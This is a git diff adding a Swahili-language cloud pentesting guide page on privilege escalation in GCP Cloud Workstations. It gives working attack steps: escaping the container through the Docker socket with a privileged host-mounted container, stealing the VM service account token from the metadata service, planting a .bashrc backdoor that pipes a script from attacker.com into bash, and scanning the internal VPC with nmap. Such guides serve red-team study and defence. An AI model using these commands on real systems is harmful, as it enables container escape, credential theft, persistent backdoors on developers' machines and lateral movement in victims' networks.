diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
new file mode 100644
index 000000000..f740f6961
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md
@@ -0,0 +1,96 @@
+# GCP - Cloud Workstations Privesc
+
+
+### Container Breakout via Docker Socket (Container -> VM -> Project)
+
+Njia kuu ya kuinua vibali katika Cloud Workstations inatokana na hitaji la kuunga mkono mtiririko wa kazi wa Docker-in-Docker (DinD) kwa waendelezaji. Wakati usanidi wa workstation unachomeka Docker socket au kuruhusu privileged containers (usanidi wa kawaida), mshambuliaji ndani ya workstation container anaweza kutoroka hadi Compute Engine VM inayoshikilia na kuiba service account token yake.
+
+**Vigezo vinavyohitajika:**
+- Ufikiaji wa terminal ya Cloud Workstation (kupitia SSH, kikao kilicholengwa/komprometwa, au credentials zilizoporwa)
+- Usanidi wa workstation lazima uchomeke `/var/run/docker.sock` au kuruhusu privileged containers
+
+**Muktadha wa usanifu:** Workstation ni container (Layer 3) inayokimbia kwenye runtime ya Docker/Containerd (Layer 2) kwenye GCE VM (Layer 1). Docker socket inatoa ufikiaji wa moja kwa moja kwa runtime ya container ya host.
+
+> [!NOTE]
+> Zana [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) inaotomatisha container escape kamili na inakupeleka kwenye root shell kwenye host VM.
+
+<details>
+
+<summary>Hatua 1: Angalia Docker socket</summary>
+```bash
+# Verify the Docker socket is available
+ls -l /var/run/docker.sock
+# Expected output: srw-rw---- 1 root docker 0 ...
+```
+</details>
+
+<details>
+
+<summary>Hatua 2: Kutoroka hadi filesystem ya VM ya mwenyeji</summary>
+
+Tunaendesha privileged container, na ku-mount root directory ya mwenyeji kwenye `/mnt/host`. Pia tunashirikisha network na PID namespace ya mwenyeji ili kuongeza uonekano.
+```bash
+# Spawn a privileged container mounting the host's root filesystem
+docker run -it --rm --privileged --net=host --pid=host \
+-v /:/mnt/host \
+alpine sh
+
+# Inside the new container, chroot into the host
+chroot /mnt/host /bin/bash
+```
+Sasa una **root shell kwenye Compute Engine VM iliyopo chini** (Layer 1).
+
+</details>
+
+<details>
+
+<summary>Hatua 3: Pora token ya VM service account kutoka IMDS</summary>
+```bash
+# From the host VM, query the Instance Metadata Service
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
+
+# Check which service account is attached
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
+
+# Check scopes (CRITICAL STEP)
+curl -s -H "Metadata-Flavor: Google" \
+http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
+```
+</details>
+
+> [!CAUTION]
+> **Angalia access scopes!**
+> Hata kama Service Account iliyounganishwa ni **Editor**, VM inaweza kuwekewa vikwazo na access scopes.
+> Ikiwa unaona `https://www.googleapis.com/auth/cloud-platform`, una upatikanaji kamili.
+> Ikiwa unaona tu `logging.write` na `monitoring.write`, umefungwa kwa vectors za **Network Pivot** na **Persistence** hapa chini.
+
+<details>
+
+<summary>Hatua ya 4: Achieve Persistence (Backdoor the User)</summary>
+
+Cloud Workstations mount a persistent disk to `/home/user`. Kwa sababu container user (kawaida `user`, UID 1000) anafanana na host user (UID 1000), unaweza kuandika kwenye home directory ya host. Hii inakuwezesha backdoor the environment hata workstation container ikijengwa upya.
+```bash
+# Check if you can write to the host's persistent home
+ls -la /mnt/host/home/user/
+
+# Drop a backdoor that executes next time the developer logs in
+# Note: Do this from the container escape context
+echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
+```
+</details>
+
+<details>
+
+<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
+
+Kwa kuwa unashiriki host network namespace (`--net=host`), sasa wewe ni trusted node kwenye VPC. Unaweza kufanya scan kwa internal services zinazoruhusu access kwa kutumia IP whitelisting.
+```bash
+# Install scanning tools on the host (if internet access allows)
+apk add nmap
+
+# Scan the internal VPC subnet
+nmap -sS -p 80,443,22 10.0.0.0/8
+```
+</details>